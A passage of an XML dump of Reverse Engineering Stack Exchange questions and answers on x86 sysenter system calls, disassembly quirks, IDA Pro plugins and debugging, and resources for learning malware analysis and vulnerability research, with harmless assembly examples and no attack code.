%rdi&#xA;  movq  $1, %rax&#xA;  syscall&#xA;# and exit&#xA;  movq  $0, %rdi&#xA;  movq  $60, %rax&#xA;  syscall&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the only problem I have to trigger a system call is this &lt;code&gt;sysenter&lt;/code&gt; way. Here is an example with &lt;code&gt;sysenter&lt;/code&gt; ending with a segmentation fault (compiled with &lt;code&gt;gcc -m32 -nostdlib -o hello-sysenter hello-sysenter.s&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data&#xA;msg:&#xA;  .ascii &quot;Hello World!\n&quot;&#xA;  len = . - msg&#xA;&#xA;.text&#xA;.globl _start&#xA;&#xA;_start:&#xA;# Write the string to stdout&#xA;  movl  $len, %edx&#xA;  movl  $msg, %ecx&#xA;  movl  $1, %ebx&#xA;  movl  $4, %eax&#xA;&#xA;  push    final&#xA;  sub $12, %esp&#xA;  mov %esp, %ebp&#xA;&#xA;  sysenter&#xA;# and exit&#xA;final:  &#xA;  movl  $0, %ebx&#xA;  movl  $1, %eax&#xA;&#xA;  sub $12, %esp&#xA;  mov %esp, %ebp&#xA;&#xA;  sysenter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="60" LastEditDate="2014-09-23T10:28:57.960" LastActivityDate="2014-09-23T10:28:57.960" Title="How to use sysenter under Linux?" Tags="|assembly|x86|" AnswerCount="1" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="2870" PostTypeId="2" ParentId="1724" CreationDate="2013-10-02T22:06:37.730" Score="5" Body="&lt;p&gt;Recently, two new kernel instrumentation systems have been released, of which I am the creator of one:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/Granary/granary&quot;&gt;Granary&lt;/a&gt;, which is primarily focused on module instrumentation. This is the instrumentation created by me. Granary internally uses parts of DynamoRIO, but works rather differently. The goal of Granary is to make it easy to develop debugging and analysis tools. There will be a paper in HotDep'13 about one of the major memory debugging tools built on top of Granary.&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/piyus/btkernel&quot;&gt;btkernel&lt;/a&gt;, a recently released full kernel instrumentation system. You can find a paper about btkernel in SOSP'13.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2013-10-02T22:06:37.730" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2871" PostTypeId="2" ParentId="2147" CreationDate="2013-10-02T22:18:10.133" Score="2" Body="&lt;p&gt;DynamoRIO could be very good for more in-depth dynamic library analysis. DynamoRIO is a dynamic binary translator that works on both Linux and Windows, for both x86 and x86-64.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To analyse DLLs using DynamoRIO, you would register module load and unload events using the &lt;code&gt;dr_register_module_load_event&lt;/code&gt; and &lt;code&gt;dr_register_module_unload_event&lt;/code&gt; functions, respectively.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also register events that allow you to manipulate instructions before they are executed. These events would enable you to isolate code that is executed from a particular DLL, and apply custom instrumentation to that DLL.&lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2013-10-02T22:18:10.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2873" PostTypeId="1" CreationDate="2013-10-03T12:35:24.277" Score="18" ViewCount="15134" Body="&lt;p&gt;I am currently reverse engineering a binary written in Borland Delphi 6.0-7.0 as reported by PEiD. Is there a recommended signature to use when looking at this binary in IDA Pro? I currently am using the bds signature.  Thanks !&lt;/p&gt;&#xA;" OwnerUserId="2945" LastActivityDate="2014-06-20T22:35:36.360" Title="Which IDA Pro Signature should be used for Borland Delphi 6.0-7.0 binaries as reported in PEiD?" Tags="|disassembly|ida|malware|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2876" PostTypeId="1" AcceptedAnswerId="2877" CreationDate="2013-10-03T21:28:22.077" Score="12" ViewCount="2041" Body="&lt;p&gt;So I have the following C code I wrote:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;&#xA;int main() {&#xA;    int i = 1;&#xA;&#xA;    while(i) {&#xA;        printf(&quot;in loop\n&quot;);&#xA;        i++;&#xA;&#xA;        if(i == 10) {&#xA;            break;&#xA;        }&#xA;    }&#xA;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiled with gcc (Ubuntu/Linaro 4.7.2-2ubuntu1) 4.7.2 it disassembles to this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   0x000000000040051c &amp;lt;+0&amp;gt;: push   %rbp&#xA;   0x000000000040051d &amp;lt;+1&amp;gt;: mov    %rsp,%rbp&#xA;   0x0000000000400520 &amp;lt;+4&amp;gt;: sub    $0x10,%rsp&#xA;   0x0000000000400524 &amp;lt;+8&amp;gt;: movl   $0x1,-0x4(%rbp)&#xA;   0x000000000040052b &amp;lt;+15&amp;gt;:    jmp    0x400541 &amp;lt;main+37&amp;gt;&#xA;   0x000000000040052d &amp;lt;+17&amp;gt;:    mov    $0x400604,%edi&#xA;   0x0000000000400532 &amp;lt;+22&amp;gt;:    callq  0x4003f0 &amp;lt;puts@plt&amp;gt;&#xA;   0x0000000000400537 &amp;lt;+27&amp;gt;:    addl   $0x1,-0x4(%rbp)&#xA;   0x000000000040053b &amp;lt;+31&amp;gt;:    cmpl   $0xa,-0x4(%rbp)&#xA;   0x000000000040053f &amp;lt;+35&amp;gt;:    je     0x400549 &amp;lt;main+45&amp;gt;&#xA;   0x0000000000400541 &amp;lt;+37&amp;gt;:    cmpl   $0x0,-0x4(%rbp)&#xA;   0x0000000000400545 &amp;lt;+41&amp;gt;:    jne    0x40052d &amp;lt;main+17&amp;gt;&#xA;   0x0000000000400547 &amp;lt;+43&amp;gt;:    jmp    0x40054a &amp;lt;main+46&amp;gt;&#xA;   0x0000000000400549 &amp;lt;+45&amp;gt;:    nop&#xA;   0x000000000040054a &amp;lt;+46&amp;gt;:    mov    $0x0,%eax&#xA;   0x000000000040054f &amp;lt;+51&amp;gt;:    leaveq &#xA;   0x0000000000400550 &amp;lt;+52&amp;gt;:    retq  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why is there a &lt;code&gt;nop&lt;/code&gt; on +45? And why does not &lt;code&gt;je&lt;/code&gt; on +35 just jump right to +46?&lt;/p&gt;&#xA;" OwnerUserId="2948" LastEditorUserId="2948" LastEditDate="2013-10-03T22:28:57.990" LastActivityDate="2014-03-19T16:14:00.087" Title="Why is there in a nop in the while loop" Tags="|disassembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2877" PostTypeId="2" ParentId="2876" CreationDate="2013-10-04T00:36:15.237" Score="15" Body="&lt;p&gt;It might be for function alignment. As it is now it returns on &lt;code&gt;0x400550&lt;/code&gt;, which can be divided by 8. If it returned on &lt;code&gt;0x40054f&lt;/code&gt; it isn't aligned. Just a speculation, though.&lt;/p&gt;&#xA;" OwnerUserId="2949" LastEditorUserId="53" LastEditDate="2013-10-13T08:54:31.740" LastActivityDate="2013-10-13T08:54:31.740" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2878" PostTypeId="1" CreationDate="2013-09-21T04:47:58.997" Score="5" ViewCount="3966" Body="&lt;p&gt;The code that I'm analyzing calls fork and I was wondering if there was a way to trace the child process that is created. I've looked in &lt;em&gt;The IDAPro Book&lt;/em&gt; and there's nothing on the topic (if there is I can't find it). Perhaps it's not possible with IDAPro. Also if it's helpful I'm debugging an elf executable remotely from a windows machine. Thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some basic documentation&#xA;&lt;a href=&quot;https://www.hex-rays.com/products/ida/support/idadoc/index.shtml&quot; rel=&quot;noreferrer&quot;&gt;https://www.hex-rays.com/products/ida/support/idadoc/index.shtml&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="Cairn" LastActivityDate="2013-10-04T02:44:43.283" Title="How do you attach to a child process using IDAPro?" Tags="|assembly|ida|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2879" PostTypeId="2" ParentId="2878" CreationDate="2013-09-22T12:49:55.763" Score="3" Body="&lt;p&gt;This isn't IDA problem, per se. It's more to do with the debugger you're using. I assume you're using remote GDB through IDA. The debugger will attach itself to a specific process, and that process only. Fortunately, GDB has an option to follow child processes, using the debugging option:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;set follow-fork-mode child&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Type that in the GDB prompt at the bottom of the Output Window in IDA, and the debugger should follow the path of execution of the forked child process. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;http://sourceware.org/gdb/onlinedocs/gdb/Forks.html&quot; rel=&quot;nofollow&quot;&gt;this page&lt;/a&gt; for more info on debugging forks.&lt;/p&gt;&#xA;" OwnerUserId="3298" OwnerDisplayName="lifesaspanner" LastActivityDate="2013-09-22T12:49:55.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2880" PostTypeId="2" ParentId="2878" CreationDate="2013-09-23T10:46:00.077" Score="1" Body="&lt;p&gt;IDA does not support multi-process debugging at the moment (as of 2013). To debug the new process, you'll need to either detach from the current one, or use a new instance of IDA.&lt;/p&gt;&#xA;" OwnerUserId="60" OwnerDisplayName="Igor Skochinsky" LastActivityDate="2013-09-23T10:46:00.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2881" PostTypeId="1" AcceptedAnswerId="2882" CreationDate="2013-10-04T03:14:39.533" Score="5" ViewCount="2488" Body="&lt;p&gt;I would like learn how to reverse engineer malwares. I have a very small experience reverse engineering windows applications. I would like to know if there are good resources that is helpful in learning this.  &lt;/p&gt;&#xA;" OwnerUserId="2950" LastActivityDate="2013-10-09T18:11:59.080" Title="Intro to reverse engineering" Tags="|malware|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-05T12:36:39.147" ContentLicense="CC BY-SA 3.0" />
  <row Id="2882" PostTypeId="2" ParentId="2881" CreationDate="2013-10-04T05:17:27.713" Score="10" Body="&lt;p&gt;Have a look at &lt;a href=&quot;https://reverseengineering.stackexchange.com/a/267/225&quot;&gt;this answer&lt;/a&gt;. It includes beginner malware training videos.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not familiar with malware myself, I do often see the following books recommended in answers:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/0470613033&quot; rel=&quot;nofollow noreferrer&quot;&gt;Malware Analyst's Cookbook&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Security professionals will find plenty of solutions in this book to the problems posed by viruses, Trojan horses, worms, spyware, rootkits, adware, and other invasive software. Written by well-known malware experts, this guide reveals solutions to numerous problems and includes a DVD of custom programs and tools that illustrate the concepts, enhancing your skills.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://rads.stackoverflow.com/amzn/click/1593272901&quot; rel=&quot;nofollow noreferrer&quot;&gt;Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;For those who want to stay ahead of the latest malware, Practical Malware Analysis will teach you the tools and techniques used by professional analysts. With this book as your guide, you'll be able to safely analyze, debug, and disassemble any malicious software that comes your way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Keeping an eye on &lt;a href=&quot;http://www.reddit.com/r/malware&quot; rel=&quot;nofollow noreferrer&quot;&gt;/r/Malware&lt;/a&gt; over at Reddit can also be a good idea. It's a place where allot of analysis reports are posted. Which you can look at as small tutorials.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-edit-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another source I remembered is: &lt;a href=&quot;http://fumalwareanalysis.blogspot.nl/p/malware-analysis-tutorials-reverse.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dr. Fu's Malware analysis tutorials&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;It describes building and configuring a malware lab using virtual machines and then continues analyzing a real piece of malware.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="225" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2013-10-09T18:11:59.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2883" PostTypeId="2" ParentId="2058" CreationDate="2013-10-04T06:35:51.527" Score="1" Body="&lt;p&gt;You can also give &lt;a href=&quot;https://github.com/OpenRCE/paimei&quot; rel=&quot;nofollow&quot;&gt;PaiMei&lt;/a&gt; a look as I did understand it could do the same as BinNavi. But it is freeware and highly unsupported. :)&lt;/p&gt;&#xA;" OwnerUserId="2035" LastEditorUserId="53" LastEditDate="2013-10-04T08:08:38.737" LastActivityDate="2013-10-04T08:08:38.737" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2884" PostTypeId="2" ParentId="1817" CreationDate="2013-10-04T10:17:52.803" Score="12" Body="&lt;p&gt;&lt;a href=&quot;http://www.arkdasm.com/&quot;&gt;ArkDasm&lt;/a&gt;  is a 64-bit interactive disassembler. Supported file types: PE64, raw binary files.  Its currently in alpha stage but works well.&lt;/p&gt;&#xA;" OwnerUserId="2937" LastActivityDate="2013-10-04T10:17:52.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2885" PostTypeId="2" ParentId="2190" CreationDate="2013-10-04T13:50:19.023" Score="8" Body="&lt;p&gt;You can do this.  Last summer I worked with Hexrays and WingIDE guys and got this working.  In fact its in the docs!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wingware.com/doc/howtos/idapython&quot; rel=&quot;noreferrer&quot;&gt;http://wingware.com/doc/howtos/idapython&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It rocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Riley&lt;/p&gt;&#xA;" OwnerUserId="2952" LastActivityDate="2013-10-04T13:50:19.023" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2886" PostTypeId="1" CreationDate="2013-10-05T16:13:58.017" Score="8" ViewCount="460" Body="&lt;p&gt;I am trying to write a plugin for IDA PRO, mainly because I want to use the nifty graphing feature on a custom intermediate language. After the first look at the IDA plugin system, I am a little lost.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before I dig deeper, I have some generic understanding questions, which put me at unease:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Does the SDK enforce a struct alignment? If not, how can I receive or supply pointers to structs compatible across compilers?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Why do plugins export a data &lt;code&gt;strcut&lt;/code&gt; (PLUGIN), and not standard exported functions? What is the advantage? Again, I would fear for alignment issues across compilers.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Even more surprising, at least the HexRays part of the sdk seems to offer class ABI compatibility, meaning I can derive from a supplied class definition and use the result with the SDK (virtual functions and all)! How does that work?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Additionally, the SDK can return pointers to classes that I am supposed to destroy with the &quot;delete&quot; keyword. Isnt that bound to end in trouble?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;All that makes me a little nervous. Does anyone know how this is done?&lt;/p&gt;&#xA;" OwnerUserId="2808" LastEditorUserId="189" LastEditDate="2013-10-06T05:16:21.000" LastActivityDate="2013-10-06T07:05:07.583" Title="IDA Plugin writing generic questions" Tags="|ida|ida-plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2887" PostTypeId="1" AcceptedAnswerId="2892" CreationDate="2013-10-05T19:36:21.723" Score="3" ViewCount="241" Body="&lt;p&gt;I have just started my journey into the vast and intersting field of malware analysis. I would like to know if there is any website/book or another resource that explains what a particular block of assembly code does. A detailed description of the code would be well appreciated. I know assembly language to some extent and is familiar with all the concepts,function call procedure etc. But i have very little knowledge on how all these applies when it come to windows. like what happens when a dll is used,etc... I would be very glad if someone could tell me where to find a resource that provides a step by step detailed analysis of any malware or any program for that matter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have already a considerable experience in reverse engineering windows applications, most of the knowledge been taken from the 'legend of r4ndom' and woodman websites. I need something that clearly explains how a particular assembly code interacts with windows dlls, resources like menu bars text boxes, etc..&lt;/p&gt;&#xA;" OwnerUserId="2950" LastActivityDate="2013-10-06T08:46:33.653" Title="Detailed description of malware content" Tags="|malware|" AnswerCount="1" CommentCount="1" ClosedDate="2013-10-10T12:24:13.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="2888" PostTypeId="1" CreationDate="2013-10-05T19:41:05.813" Score="15" ViewCount="1886" Body="&lt;p&gt;My question is about Java exploits, for example this one: &lt;a href=&quot;https://www.us-cert.gov/ncas/alerts/TA13-010A&quot;&gt;https://www.us-cert.gov/ncas/alerts/TA13-010A&lt;/a&gt; (exploit avaiable here &lt;a href=&quot;http://www.securityfocus.com/bid/57246/&quot;&gt;http://www.securityfocus.com/bid/57246/&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The victimn should visit the site and accept to run the applet in your computer. Then if the JVM is vulnerable the cracker can execute arbitrary commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my question is: How did the security researcher find this vulnerability? I mean, not specific this one, but how (what tools, method, etc) did he/she use to find these vulnerabilities? Does he/she reverse engineer javaw.exe? What's the methods?&lt;/p&gt;&#xA;" OwnerUserId="25" LastEditorUserId="25" LastEditDate="2014-09-29T14:24:58.920" LastActivityDate="2014-09-29T14:24:58.920" Title="How exploit writers find bugs in Java Machine?" Tags="|java|exploit|vulnerability-analysis|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2889" PostTypeId="2" ParentId="2888" CreationDate="2013-10-05T19:54:56.737" Score="12" Body="&lt;p&gt;It largely depends on what kind of vulnerability. &#xA;This particular one you mentione is in SecurityManager, and you could have found it relatively easily by analyzing the Java source code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To get some idea of how that process is done, take a look at &lt;a href=&quot;http://immunityproducts.blogspot.com/2013/04/yet-another-java-security-warning-bypass.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; and &lt;a href=&quot;http://immunityproducts.blogspot.com.ar/2013/02/keep-calm-and-run-this-applet.html&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; articles by Esteban Guillardoy of Immunity. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Jduck has also published some &lt;a href=&quot;http://media.blackhat.com/bh-ad-11/Drake/bh-ad-11-Drake-Exploiting_Java_Memory_Corruption-WP.pdf&quot; rel=&quot;nofollow&quot;&gt;research on memory corruption vulns in JRE&lt;/a&gt;.&#xA;You can get the better picture about how to find a vulnerability by studying the previously published ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I remember that LSD-PL folks have done some awesome stuff in this area long time ago, that you can find &lt;a href=&quot;http://lsd-pl.net/projects/javasecurity.zip&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. It's a little bit outdated, but still relevant.&lt;/p&gt;&#xA;" OwnerUserId="304" LastEditorUserId="1485" LastEditDate="2013-11-29T05:13:59.660" LastActivityDate="2013-11-29T05:13:59.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2890" PostTypeId="2" ParentId="2888" CreationDate="2013-10-05T20:26:49.927" Score="8" Body="&lt;p&gt;Well I myself am an exploit developer. The methods of attack/research are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reversing the input values. Files, network protocols etc etc.&lt;/li&gt;&#xA;&lt;li&gt;Building a Fuzzer with this information&lt;/li&gt;&#xA;&lt;li&gt;Fuzz till crash&lt;/li&gt;&#xA;&lt;li&gt;Analyse the crash&lt;/li&gt;&#xA;&lt;li&gt;Build exploit&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Another method I commonly use is to reverse points of interests (eg SingleSignOne modules, other login methods, database connections (hardcoded passwords etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But this should be on Security Exchange not on reverse engineering.&lt;/p&gt;&#xA;" OwnerUserId="2035" LastActivityDate="2013-10-05T20:26:49.927" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="2891" PostTypeId="2" ParentId="2886" CreationDate="2013-10-06T07:05:07.583" Score="5" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;1. Does the SDK enforce a struct alignment? If not, how can I receive or supply pointers to structs compatible across compilers?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;IDA SDK headers do specify their alignment. It is split between 1-byte and 4-bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are also interesting comments like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA; *      Due to the use of STL and virtual functions, some parts of this&#xA; *      interface might be incompatible with compilers other than BCB v6.0 &#xA; */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But given the age of Borland C++ Builder 6, I am not sure they are still relevant.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;2. Why do plugins export a data struct (PLUGIN), and not standard exported functions? What is the advantage? Again, I would fear for alignment issues across compilers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;plugin_t&lt;/code&gt; uses 1-byte alignment. As long as you follow that, there should not be any alignment problems. I guess the struct is used just for convenience, as then the loader only needs to find and keep track of only one exported symbol instead of several.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;3. Even more surprising, at least the HexRays part of the sdk seems to offer class ABI compatibility, meaning I can derive from a supplied class definition and use the result with the SDK (virtual functions and all)! How does that work?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;HexRays lets you inspect/modify the decompiled source tree representation, and uses the &lt;a href=&quot;http://en.wikipedia.org/wiki/Visitor_pattern&quot;&gt;visitor pattern&lt;/a&gt; to do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's much easier to pass one pointer to a class holding multiple pointers than it is to pass a ton of separate callback pointers for different operations. Also, a class lets you capture/track local state, doing that with separate callback pointers would require extra work with functors.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;4. Additionally, the SDK can return pointers to classes that I am supposed to destroy with the &quot;delete&quot; keyword. Isnt that bound to end in trouble?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What are you worried about? The fact that you're freeing memory allocated by another module, or the fact that you are responsible for the object's lifetime? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The former should not be an issue, &lt;code&gt;pro.h&lt;/code&gt; contains a &lt;code&gt;DEFINE_MEMORY_ALLOCATION_FUNCS&lt;/code&gt; macro that overrides memory management for each such class so deleting it will go through IDA's memory management routines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The latter is just something you have to live with.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-10-06T07:05:07.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2892" PostTypeId="2" ParentId="2887" CreationDate="2013-10-06T08:46:33.653" Score="2" Body="&lt;p&gt;I recommend You to start from basics, so:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://technet.microsoft.com/en-us/sysinternals/bb963901%28v=msdn.10%29.aspx&quot; rel=&quot;nofollow&quot;&gt;&quot;Windows Internals&quot;&lt;/a&gt; by Mark Russinovich and David Solomon is a good start for hard copy book.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://opensecuritytraining.info/Training.html&quot; rel=&quot;nofollow&quot;&gt;OpenSecurityTraining&lt;/a&gt; - start from Beginner's courses by interest&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;When You done with those - I am sure You'll be able to ask more specific questions and get more detailed and sophisticated answers.&#xA;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1334" LastActivityDate="2013-10-06T08:46:33.653" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2894" PostTypeId="2" ParentId="2869" CreationDate="2013-10-06T16:52:21.180" Score="14" Body="&lt;h2&gt;System calls through &lt;code&gt;sysenter&lt;/code&gt;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sysenter&lt;/code&gt; is a i586 instruction, specifically tight to 32-bits&#xA;applications. It has been subsumed by &lt;code&gt;syscall&lt;/code&gt; on 64-bits plateforms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One particularity of &lt;code&gt;sysenter&lt;/code&gt; is that it does require, in addition&#xA;to the usual register setting, a few manipulations on the stack before&#xA;calling it. This is because before leaving &lt;code&gt;sysenter&lt;/code&gt;, the process&#xA;will go through the last part of the &lt;code&gt;__kernel_vsyscall&lt;/code&gt; assembler&#xA;snippet (starting from &lt;code&gt;0xf7ffd430&lt;/code&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Dump of assembler code for function __kernel_vsyscall:&#xA;   0xf7ffd420 &amp;lt;+0&amp;gt;:        push   %ecx&#xA;   0xf7ffd421 &amp;lt;+1&amp;gt;:        push   %edx&#xA;   0xf7ffd422 &amp;lt;+2&amp;gt;:        push   %ebp&#xA;   0xf7ffd423 &amp;lt;+3&amp;gt;:        mov    %esp,%ebp&#xA;   0xf7ffd425 &amp;lt;+5&amp;gt;:        sysenter &#xA;   0xf7ffd427 &amp;lt;+7&amp;gt;:        nop&#xA;   0xf7ffd428 &amp;lt;+8&amp;gt;:        nop&#xA;   0xf7ffd429 &amp;lt;+9&amp;gt;:        nop&#xA;   0xf7ffd42a &amp;lt;+10&amp;gt;:       nop&#xA;   0xf7ffd42b &amp;lt;+11&amp;gt;:       nop&#xA;   0xf7ffd42c &amp;lt;+12&amp;gt;:       nop&#xA;   0xf7ffd42d &amp;lt;+13&amp;gt;:       nop&#xA;   0xf7ffd42e &amp;lt;+14&amp;gt;:       int    $0x80&#xA;=&amp;gt; 0xf7ffd430 &amp;lt;+16&amp;gt;:       pop    %ebp&#xA;   0xf7ffd431 &amp;lt;+17&amp;gt;:       pop    %edx&#xA;   0xf7ffd432 &amp;lt;+18&amp;gt;:       pop    %ecx&#xA;   0xf7ffd433 &amp;lt;+19&amp;gt;:       ret    &#xA;End of assembler dump.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, the &lt;code&gt;sysenter&lt;/code&gt; instruction expect to have the stack forged in that&#xA;way:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0x______0c  saved_eip   (ret)&#xA;0x______08  saved_%ecx  (pop %ecx)&#xA;0x______04  saved_%edx  (pop %edx)&#xA;0x______00  saved_%ebp  (pop %ebp)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;That's why, each time we need to call &lt;code&gt;sysenter&lt;/code&gt;, we first have to&#xA;push the values of the saved &lt;code&gt;%eip&lt;/code&gt;, and the same with&lt;code&gt;%ecx&lt;/code&gt;, &lt;code&gt;%edx&lt;/code&gt;&#xA;and &lt;code&gt;%ebp&lt;/code&gt;. Which leads to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.data&#xA;msg:&#xA;    .ascii &quot;Hello World!\n&quot;&#xA;    len = . - msg&#xA;&#xA;.text&#xA;.globl _start&#xA;_start:&#xA;    pushl  %ebp&#xA;    movl   %esp, %ebp&#xA;# Write the string to stdout&#xA;    movl   $len, %edx&#xA;    movl   $msg, %ecx&#xA;    movl   $1, %ebx&#xA;    movl   $4, %eax&#xA;# Setting the stack for the systenter&#xA;    pushl  $sysenter_ret&#xA;    pushl  %ecx&#xA;    pushl  %edx&#xA;    pushl  %ebp&#xA;    movl   %esp,%ebp&#xA;    sysenter&#xA;# and exit&#xA;sysenter_ret:    &#xA;    movl   $0, %ebx&#xA;    movl   $1, %eax&#xA;# Setting the stack for the systenter&#xA;    pushl  $sysenter_ret # Who cares, this is an exit !&#xA;    pushl  %ecx&#xA;    pushl  %edx&#xA;    pushl  %ebp&#xA;    movl   %esp,%ebp&#xA;    sysenter&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2013-10-06T18:05:09.437" LastActivityDate="2013-10-06T18:05:09.437" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
